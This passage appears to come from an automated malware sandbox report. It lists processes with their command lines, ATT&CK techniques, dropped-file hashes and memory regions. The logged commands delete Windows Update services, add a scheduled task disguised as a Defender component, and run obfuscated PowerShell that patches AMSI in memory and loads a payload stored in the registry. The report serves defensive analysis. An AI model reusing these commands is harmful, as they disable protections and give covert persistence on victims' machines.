    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4812
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4652
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1728
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3536
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3828
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:4332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3172 -ip 3172
1⤵
PID:2196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1860 -ip 1860
1⤵
PID:2608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:QOCrmZiVrTZs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$CxnHpCGAIEuFLJ,[Parameter(Position=1)][Type]$YjTZZeUMeO)$PhkkwjIaOsl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+'ed'+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+'m'+'o'+[Char](114)+''+[Char](121)+'M'+'o'+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+'e'+'l'+'eg'+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+'C'+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'ubl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+[Char](65)+'u'+'t'+'o'+'C'+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$PhkkwjIaOsl.DefineConstructor(''+'R'+'T'+[Char](83)+''+'p'+'e'+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e,'+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+'P'+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$CxnHpCGAIEuFLJ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+'e'+'d'+'');$PhkkwjIaOsl.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'','P'+'u'+'bl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+'ual',$YjTZZeUMeO,$CxnHpCGAIEuFLJ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $PhkkwjIaOsl.CreateType();}$uzxFaezNkASvW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+'e'+[Char](109)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+'t'+''+[Char](46)+''+'W'+'i'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+'afe'+[Char](117)+'z'+[Char](120)+''+[Char](70)+''+[Char](97)+''+[Char](101)+''+[Char](122)+''+[Char](78)+''+[Char](107)+''+[Char](65)+''+'S'+''+'v'+''+[Char](87)+'');$EKzhPSKxCDuSzv=$uzxFaezNkASvW.GetMethod(''+'E'+'K'+[Char](122)+''+[Char](104)+''+[Char](80)+'S'+'K'+''+[Char](120)+''+'C'+'D'+'u'+'Sz'+'v'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PlcXzCuuLRpqFaftXUa=QOCrmZiVrTZs @([String])([IntPtr]);$FJHKOyuWluPeujUdATTgRn=QOCrmZiVrTZs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pcZKXmsQQQt=$uzxFaezNkASvW.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+'an'+[Char](100)+''+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$pXGcXblTENMYCa=$EKzhPSKxCDuSzv.Invoke($Null,@([Object]$pcZKXmsQQQt,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+'r'+'a'+'r'+''+'y'+''+'A'+'')));$CiNNqaAGCUJAZkIPH=$EKzhPSKxCDuSzv.Invoke($Null,@([Object]$pcZKXmsQQQt,[Object]('V'+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+'t')));$bKnGvzw=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pXGcXblTENMYCa,$PlcXzCuuLRpqFaftXUa).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$BfrvZWyPgqlwjbHNQ=$EKzhPSKxCDuSzv.Invoke($Null,@([Object]$bKnGvzw,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+'Bu'+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$bDzsDOjfhe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CiNNqaAGCUJAZkIPH,$FJHKOyuWluPeujUdATTgRn).Invoke($BfrvZWyPgqlwjbHNQ,[uint32]8,4,[ref]$bDzsDOjfhe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$BfrvZWyPgqlwjbHNQ,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CiNNqaAGCUJAZkIPH,$FJHKOyuWluPeujUdATTgRn).Invoke($BfrvZWyPgqlwjbHNQ,[uint32]8,0x20,[ref]$bDzsDOjfhe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+'i'+'a'+''+'l'+''+[Char](101)+'rs'+'t'+'a'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:xLliOnZuZjda{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zzBMUMVFQFXVDo,[Parameter(Position=1)][Type]$HnCADWAiOf)$RytfWSBvlao=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'efl'+[Char](101)+''+[Char](99)+'t'+'e'+''+[Char](100)+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+'m'+[Char](111)+''+'r'+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+'d'+[Char](44)+'A'+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+','+'A'+''+[Char](117)+''+'t'+'o'+[Char](67)+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$RytfWSBvlao.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+'H'+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$zzBMUMVFQFXVDo).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');$RytfWSBvlao.DefineMethod(''+[Char](73)+''+[Char](110)+'vok'+'e'+'','P'+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+'o'+''+[Char](116)+''+','+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$HnCADWAiOf,$zzBMUMVFQFXVDo).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $RytfWSBvlao.CreateType();}$WLDkmvVhNZRli=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+'s'+''+[Char](111)+''+[Char](102)+''+'t'+'.'+[Char](87)+''+'i'+'n3'+[Char](50)+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](87)+''+[Char](76)+''+[Char](68)+''+'k'+''+[Char](109)+''+[Char](118)+''+[Char](86)+''+[Char](104)+''+'N'+''+[Char](90)+''+'R'+''+'l'+''+[Char](105)+'');$CKvvJdiqdPzxsn=$WLDkmvVhNZRli.GetMethod(''+[Char](67)+''+'K'+'v'+[Char](118)+''+[Char](74)+''+[Char](100)+'iqd'+[Char](80)+''+'z'+'x'+[Char](115)+''+'n'+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+'t'+[Char](97)+'ti'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lnnarMYiWwRrzzkrCCR=xLliOnZuZjda @([String])([IntPtr]);$eHgUxIUceNVKmxuYrnEkGC=xLliOnZuZjda @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oTUoRNxTuFO=$WLDkmvVhNZRli.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'Hand'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$iDcLLGQtvFCfAf=$CKvvJdiqdPzxsn.Invoke($Null,@([Object]$oTUoRNxTuFO,[Object](''+[Char](76)+'oa'+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$AoRENDhOwtpRPqEBy=$CKvvJdiqdPzxsn.Invoke($Null,@([Object]$oTUoRNxTuFO,[Object](''+'V'+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+'alP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$sMmwmRE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iDcLLGQtvFCfAf,$lnnarMYiWwRrzzkrCCR).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+'.'+''+'d'+''+'l'+''+'l'+'');$twIYwWIIRJHECzEOI=$CKvvJdiqdPzxsn.Invoke($Null,@([Object]$sMmwmRE,[Object]('A'+[Char](109)+''+'s'+'iS'+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+'er')));$sHlaAymhkB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AoRENDhOwtpRPqEBy,$eHgUxIUceNVKmxuYrnEkGC).Invoke($twIYwWIIRJHECzEOI,[uint32]8,4,[ref]$sHlaAymhkB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$twIYwWIIRJHECzEOI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AoRENDhOwtpRPqEBy,$eHgUxIUceNVKmxuYrnEkGC).Invoke($twIYwWIIRJHECzEOI,[uint32]8,0x20,[ref]$sHlaAymhkB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
2d6d63fd23f028b4b901b1403baf71ea

SHA1
3ec6744ba75a492d91e77098616dd13b1efeede3

SHA256
3c26329b818b4a6f88dc15d872fe42deb42c07d78e1cbbdd970d436e919c4f71

SHA512
67d6cbc50d72fefddabdc327f6b9d64b418e36b5197a5d4c54992f64a692966c4f4c310cd708c07151b68df898788d07b86379b9b9ea7f539a804df38a5aad81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
memory/616-224-0x00007FFA58010000-0x00007FFA58020000-memory.dmp

Filesize
64KB

Download
memory/1176-170-0x0000000005AF0000-0x0000000005AFA000-memory.dmp

Filesize
40KB

Download
memory/1176-167-0x00000000056D0000-0x0000000005762000-memory.dmp

Filesize
584KB

Download
memory/1176-165-0x0000000000CC0000-0x0000000000E2C000-memory.dmp

Filesize
1.4MB

Download
memory/1304-213-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1304-223-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

Filesize
2.0MB

Download
memory/1304-221-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1304-218-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

Filesize
760KB

Download
memory/1304-217-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

Filesize
2.0MB

Download
memory/1304-216-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/2020-187-0x0000022EBAE20000-0x0000022EBAE42000-memory.dmp

Filesize
136KB

Download
memory/2020-189-0x00007FFA79D10000-0x00007FFA7A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-173-0x00000000021A7000-0x00000000026AB000-memory.dmp

Filesize
5.0MB

Download
memory/2340-185-0x00000000026B9000-0x00000000027F6000-memory.dmp

Filesize
1.2MB

Download
memory/2340-175-0x00000000021A7000-0x00000000026AB000-memory.dmp

Filesize
5.0MB

Download
memory/2340-174-0x00000000026B9000-0x00000000027F6000-memory.dmp

Filesize
1.2MB

Download
memory/2752-206-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/2752-220-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

Filesize
760KB

Download
memory/2752-219-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

Filesize
2.0MB

Download
memory/2752-222-0x00007FFA79FD0000-0x00007FFA7AA91000-memory.dmp

Filesize
10.8MB

Download
memory/2752-212-0x00007FFA97410000-0x00007FFA974CE000-memory.dmp

Filesize
760KB

Download
memory/2752-211-0x00007FFA97F90000-0x00007FFA98185000-memory.dmp

Filesize
2.0MB

Download
memory/3828-202-0x00007FFA79D10000-0x00007FFA7A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3828-203-0x00007FFA79D10000-0x00007FFA7A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3972-177-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3972-184-0x0000000005680000-0x000000000578A000-memory.dmp

Filesize
1.0MB

Download
memory/3972-183-0x0000000005550000-0x0000000005562000-memory.dmp

Filesize
72KB

Download
memory/3972-182-0x0000000005AB0000-0x00000000060C8000-memory.dmp

Filesize
6.1MB

Download
memory/3972-210-0x00000000077C0000-0x0000000007CEC000-memory.dmp

Filesize
5.2MB

Download
memory/3972-209-0x00000000070C0000-0x0000000007282000-memory.dmp

Filesize
1.8MB

Download
memory/3972-186-0x00000000055B0000-0x00000000055EC000-memory.dmp

Filesize
240KB

Download
memory/3972-208-0x0000000005A20000-0x0000000005A3E000-memory.dmp

Filesize
120KB

Download
memory/3972-207-0x0000000005960000-0x00000000059D6000-memory.dmp

Filesize
472KB

Download
memory/4932-150-0x00000000081B0000-0x000000000882A000-memory.dmp

Filesize
6.5MB

Download
memory/4932-148-0x0000000070780000-0x00000000707CC000-memory.dmp

Filesize
304KB

Download
memory/4932-152-0x0000000007BE0000-0x0000000007BEA000-memory.dmp

Filesize
40KB

Download
memory/4932-156-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

Filesize
32KB

Download
memory/4932-151-0x0000000007B70000-0x0000000007B8A000-memory.dmp

Filesize
104KB

Download
memory/4932-157-0x0000000007F00000-0x0000000007F22000-memory.dmp

Filesize
136KB

Download
memory/4932-158-0x0000000008DE0000-0x0000000009384000-memory.dmp

Filesize
5.6MB

Download
memory/4932-154-0x0000000007DA0000-0x0000000007DAE000-memory.dmp

Filesize
56KB

Download
memory/4932-147-0x0000000006E10000-0x0000000006E42000-memory.dmp

Filesize
200KB

Download
memory/4932-153-0x0000000007E30000-0x0000000007EC6000-memory.dmp

Filesize
600KB

Download
memory/4932-149-0x0000000006DF0000-0x0000000006E0E000-memory.dmp

Filesize
120KB

Download
memory/4932-155-0x0000000007DF0000-0x0000000007E0A000-memory.dmp

Filesize
104KB

Download
memory/4932-146-0x0000000006830000-0x000000000684E000-memory.dmp

Filesize
120KB

Download
memory/4932-145-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4932-144-0x0000000006170000-0x00000000061D6000-memory.dmp

Filesize
408KB

Download
memory/4932-143-0x00000000058B0000-0x00000000058D2000-memory.dmp

Filesize
136KB

Download
memory/4932-142-0x00000000059D0000-0x0000000005FF8000-memory.dmp

Filesize
6.2MB

Download
memory/4932-141-0x0000000003260000-0x0000000003296000-memory.dmp

Filesize
216KB

Download
memory/4960-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4960-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download